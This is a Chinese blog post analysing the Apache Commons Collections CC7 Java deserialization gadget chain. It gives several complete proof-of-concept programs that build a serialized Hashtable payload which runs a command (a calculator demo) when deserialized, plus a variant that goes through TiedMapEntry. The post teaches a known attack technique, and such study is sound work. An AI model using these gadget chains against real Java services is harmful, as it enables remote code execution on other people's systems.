首页 > 其他分享 >CC7分析与利用超详细

CC7分析与利用超详细

时间:2024-07-02 22:28:52浏览次数:16  
标签:java org CC7 Object 利用 详细 new import class

CC7分析与利用

cc7分析

cc7也是接着LazyMap.get()方法向上找。

这里先给出LazyMap.get()执行命令的构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
        Lazy.get(Runtime.getRuntime());
    }
}

接着就又是向上找嘛,但这里我们就不找了,看了 ysoserial 的 cc7 中是利用的Hashtable.readObject()作为起点类,进行正向分析

Hashtable.readObject

跟进到Hashtable.readObject():

QQ截图20240628144328

在最后调用的是reconstitutionPut方法,这里的key,value值可以通过hashtable中的put方法进行添加。(回忆一下在cc6中的hashmap最后是调用的putValue中的hash函数来触发的hashcode,key,value也是通过put方法来添加的;而hashset是最后是调用的put方法,值是利用add添加)。

跟进到reconstitutionPut方法中看看:

QQ截图20240628151341

这里关键在于equals方法的调用(hashcode也可以做文章后面再说),先进入for语句,然后就是个if判断语句了,执行了e.hashe.key.equals(key)。不过Java语言还存在一个布尔短路运输的特性,也就是说当e.hash == hash判定为假,就会直接退出if语句,导致不执行e.key.equals(key)。所以我们还得让e.hash == hash为真,

hash就是key.hashcode嘛。那么再看e是什么:

Entry<?,?> e = tab[index] ; e != null ; e = e.next

这里可能还有点迷,继续看看index是什么

int index = (hash & 0x7FFFFFFF) % tab.length;

通过以上分析,这里大概意思就是先计算出keyhash值,然后根据hash值计算存储索引index,再通过for循环得到e.next也就是上一个map键值对,最后进入if判断比较两者hash值是否相同,不同就把这个键值对加入到tab中。当然我们想要的是两个键值对的keyhash相同。这里是循环添加键值对到tab中,很显然当只有一个键值对的时候,hash肯定不相同,我们需要至少两个键值对,当第一个键值对添加后,第二个和第一个进行比较,所以要执行两次put语句。

那是不是直接把两个键值对的key值改为一样就行了,这个在readObject中进行了判断:

QQ截图20240628162348

看到最下面还原table数组时是根据elements来判断的,而如果key相同时 element 计算会把两个 map 计算为只有一个 map。这个可以里hash碰撞进行解决。

AbstractMapDecorator.equals

继续看会调用equals方法,在ysoserial中把e.keyLazyMap对象,但是LazyMap对象没有equals方法,不过它继承了AbstractMapDecorator类,所以会调用AbstractMapDecorator类的equals方法:

QQ截图20240628164059

然后还会调用map.equals(),那么这里的map是什么呢,朔源到LazyMap中,发现在我们在构造poc时为了使LazyMap调用到ChainedTransformertransform方法,用了LazyMap.decorate(map,chainedTransformer);而这里的map就是HashMap,但是HashMap中没有equals方法,发现它继承了AbstractMap类。

AbstractMap.equals

跟进到AbstractMap类中的equals方法:

QQ截图20240628151552

在这里进行了get方法的调用,条件是当value不为null时。其中m为传入equals的Object,我们需要让m为LazyMap对象,朔源也就是key要为LazyMap对象:

QQ截图20240628165903

意思时e.key和key都要为LazyMap对象,这是什么意思呢,刚刚不是说了两个键值对的键不能相同嘛。所以可以让LazyMap的map中的key值不一样或者value值不一样。意思是这里table的key是个map数组,那么最上面的key.hashcode又是怎么计算的呢?后面调试会发现key.hashcode传入的是数组的话,最后的hash值是key的hash值异或value的hash值。

所以归根结底还是只用让为LazyMap对象中map键值对的key不同而其hash值相同就行了,value就设为一样的就行(因为也要保证其hash值一样)。

那么构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2, cha);
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);


        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

yy和zZ的hash值是一样的,原理看最下面。运行执行了计算机,但是不是在反序列化执行的。

解决put问题一、

看了师傅们的文章发现是在hashtable.put(Lazy2,1);出的问题,跟进put方法

QQ截图20240628210107

看到put方法中这串代码怎么这么熟悉。那是不是在进行判断后会像上面设计的一样直接调用到get方法,注释掉序列化和反序列化对get方法打断点,发现在执行第二个put方法的时候直接调用了get方法,然后提前执行命令,还有就是和cc6一样的问题,因为get在执行后会添加key值,导致反序列化的时候就不能执行到transform方法了。

QQ截图20240628211418

QQ截图20240628221450

所以在put后最后要删掉Lazy2的yy键值对

Lazy2.remove("yy");

至此其实已经可以反序列化并执行命令了。

解决put问题二、

为了更完美使其在put的时候不会执行命令,可以仿造cc6先把transformer对象随便弄一个然后在利用反射修改factory属性

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(1));
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);

        Lazy2.remove("yy");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy2, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

但是发现失败了,发现在最后的table里面只put进了一个数组:

QQ截图20240629154140

这是怎么一回事呢?发现关键在AbstractMapequals方法,在这里会进行判断,会判断valuem.get(key)返回的值一样不,由于我这里是new ConstantTransformer(1)所以最后返回的是1,不满足这个if条件,返回了true

QQ截图20240629154625

然后返回true又有什么用,后面确实没调出来。第二天问了nn0nkey k1n9师傅,经过nn0nkey k1n9师傅指点迷津后,总算是明白了。

继续跟进:

QQ截图20240629155315

也就是最开始调用的AbstractMapDecorator.equals会返回true,然后来到:

QQ截图20240629155530

不难看到返回true满足if条件后并不会执行addEntry函数,所以这里也就没添加进去,哦~ 原来如此。

那么我们让AbstractMapequals方法返回false就行了,所以构造

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(2));
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);

        Lazy2.remove("yy");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy2, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

只要那里不相等就行。在ysoserial中也给出来解决办法,它是构造了一个空的Transformer数组

Transformer[] faketransformers = new Transformer[] {};

然后把它传入ChainedTransformer,这样也满足条件,最后在反射修改ChainedTransformer的数组变量。

CC7的hashcode

在上面计算hash调用了hashcode方法,那是不是可以和cc6一样,把key变为TiedMapEntry,然后触发到TiedMapEntryhashcode方法。

构造poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));
        Lazy.put("zZ",1);

        TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");
        Hashtable hashtable = new Hashtable();
        hashtable.put(tie,1);

        Lazy.remove("aaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

哈希碰撞底层分析

调试跟进到hashcode的最底层算法:

QQ截图20240628175049

for通过字符串长度来遍历字符的所有字母,然后进行计算,最开始是两个字母,这两个字母的hash又会轮下去影响后面的hash。

hash = 31 * val[i-1] + val[i]

例如传入"GRYS"

那么计算其最开始的两个字母为

hash = 31 * 71 + 82

可以构造其相等hash为

hash = 31 * 70 + 113

也就是为"Fq"。后面是轮回运算,所以后面字母就不变了。

测试:

QQ截图20240628181010

参考:https://nivi4.notion.site/Java-CommonCollections7-ef80bc3e4c1c47508a5762ac455a6cda

参考:https://blog.csdn.net/qq_35733751/article/details/119862728

参考:https://www.cnblogs.com/thebeastofwar/p/17842892.html

标签:java,org,CC7,Object,利用,详细,new,import,class
From: https://blog.csdn.net/2301_79700060/article/details/140066898

相关文章

  • C#利用反射创建对象并进行赋值
    TypeclassType=typeof(ClassName);//获取类的typestringpath=fullName+","+assemblyName;//命名空间.类型名,程序集TypeclassType=Type.GetType(path);//加载类型TypeclassType=Type.GetType("类的完全限定名");//也可以根据类的完全限定名得到typ......
  • 详细记录海思相机适配新的sensor(IMX585)(一)——Hi3519DV500
     一、前言这几天手里有个任务,组里买了个相机模组,soc是HI3519DV500,配的是IMX585的sensor,但是HI3519DV500的SDK中支持的sensorlist没有IMX585,需要进行适配工作。查遍了全网能找到的博客,也咨询了一些博主,进行记录。(海思的坑是真的多,组里也没人搞,所以一个人四处踩坑;衷心感谢每一......
  • 基于SpringBoot+Vue+uniapp的论文管理系统的详细设计和实现(源码+lw+部署文档+讲解等)
    文章目录前言详细视频演示具体实现截图技术栈后端框架SpringBoot前端框架Vue持久层框架MyBaitsPlus系统测试系统测试目的系统功能测试系统测试结论为什么选择我代码参考数据库参考源码获取前言......
  • Windows环境下安装nvm的详细步骤
    Windows环境下安装nvm的详细步骤nvm(NodeVersionManager)是一个用于管理多个Node.js版本的工具,它允许用户在同一台机器上安装和切换不同版本的Node.js,从而解决因版本不兼容导致的各种问题。在Windows环境下安装nvm相对简单,下面将详细介绍安装步骤。一、下载nvm安......
  • Linux——查找文件-find(详细)
    查找文件-find 作用-按照文件名、大小、时间、权限、类型、所属者、所属组来搜索文件格式find 查找路径  查找条件 具体条件 操作注意-find命令默认的操作是print输出-find是检索文件的,grep是过滤文件中字符串 参数参数         ......
  • 2025秋招计算机视觉面试题(七)-NMS详细工作机制及代码实现
    问题看到一句话:NMS都不懂,还做什么Detection!虎躯一震……懂是大概懂,但代码能写出来吗???在目标检测网络中,产生proposal后使用分类分支给出每个框的每类置信度,使用回归分支修正框的位置,最终会使用NMS方法去除同个类别当中IOU重叠度较高且scores即置信度较低的那些......
  • 【实用软件】Deep Freeze冰点还原8.57软件下载及详细安装教程
    ​根据行业数据显示部署和互操作性:提供将软件作为主映像的组成部分而在多个工作站上部署的选项。不同领域的应用证明了云端管理功能:一对多云端执行重新启动、关机、LAN唤醒操作,支持按需或按计划执行。根据使用者情况表明IT运维管理员甚至能够远程锁定子设备键盘和鼠标,禁止任......
  • 如何下载Studio One软件及详细安装步骤
    ​大家都知道全局视频轨道一种为图形添加声音的新方法,最新的全局视频轨道提供了直观的视频工作流程,归功于使StudioOne声名鹊起的拖放功能,需要快速编辑或简化播客工作流程?没关系,试试看视频轨道的基本编辑功能吧,请注意本功能为Pro版专享。准确来讲音频录制和编辑:StudioOne6......
  • 利用单叶函数计算希格斯粒子的方法
    利用单叶函数计算希格斯粒子的方法下面介绍将春秋晚期金剑柄的线段数据代入单叶函数公式中,计算希格斯粒子的图形,按这个图像喷射希格斯粒子达到超光速的目的。相关资料下载网址:链接:https://pan.baidu.com/s/1Ql1nATEeHgj_cBctXCYB_g?pwd=nzjj提取码:nzjj链接:https://pan.baidu.......
  • 【继承超详细理解】
    目录一、继承的概念及定义1、概念2、定义(1)定义的格式(2)继承方式和访问限定符(3)继承后子类成员访问权限二、继承中的作用域三、基类和派生类(子类和父类)1、基类和派生类的相互赋值2、同名的成员变量3、同名成员函数四、派生类的默认成员函数1、构造函数2、析构函数3、拷贝......